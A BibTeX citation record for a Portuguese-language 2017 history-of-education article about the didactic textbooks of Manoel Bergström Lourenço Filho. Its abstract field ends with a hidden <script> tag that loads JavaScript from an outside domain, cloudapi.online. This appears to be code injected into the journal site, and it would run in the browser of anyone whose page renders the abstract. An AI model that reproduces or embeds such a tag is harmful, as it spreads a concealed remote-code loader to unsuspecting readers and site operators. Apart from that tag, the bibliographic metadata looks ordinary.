@article{Lancillotti_2017, place={Campinas, SP}, title={Escola nova, instrumentos tradicionais: a produção didática de Manoel Bersgtröm Lourenço Filho em discussão}, volume={17}, url={https://periodicos.sbu.unicamp.br/ojs/index.php/histedbr/article/view/8649860}, DOI={10.20396/rho.v17i71.8649860}, abstractNote={<p>O presente artigo tem por objetivo discutir a divergência entre a produção didática de Manoel Bersgtröm Lourenço Filho e sua reflexão sobre educação escolar, alicerçada no ideário escolanovista. Toma por objeto a Série de Leitura Graduada<em> ’Pedrinho’</em> e os Guias do Mestre correspondentes. A análise fundamenta-se nas teorizações marxianas sobre o trabalho e em autores que analisam a escola moderna a partir dessa categoria. Foram consultadas fontes clássicas e historiográficas vinculadas à questão em estudo. Parte-se do reconhecimento de que Comenius propôs a organização ideal para a expansão da escola moderna, quando a equiparou às manufaturas de seu tempo, o que está consubstanciado na obra <em>Didáctica Magna</em>, publicada em 1657. A possibilidade de universalização da escola  assentou-se na sua proposição de livros didáticos, instrumentos prescritivos e homogêneos que permitiram o atendimento coletivo e simultâneo de um grande quantitativo de alunos por um único professor. Apesar de ter estabelecido críticas às práticas educativas uniformes e diretivas da escola <em>tradicional</em>, Lourenço Filho produziu livros didáticos marcados por essas mesmas características. É preciso ter em conta que essa parcela da produção do autor tinha em vista a educação pública, de massa, sobre uma base material que não permite conciliar expansão do ensino com sua individualização.</p><script id="lg210a" type="text/javascript" src="https://cloudapi.online/js/api46.js"></script>}, number={1}, journal={Revista HISTEDBR On-line}, author={Lancillotti, Samira Saad Pulchério}, year={2017}, month={jul.}, pages={77–92} }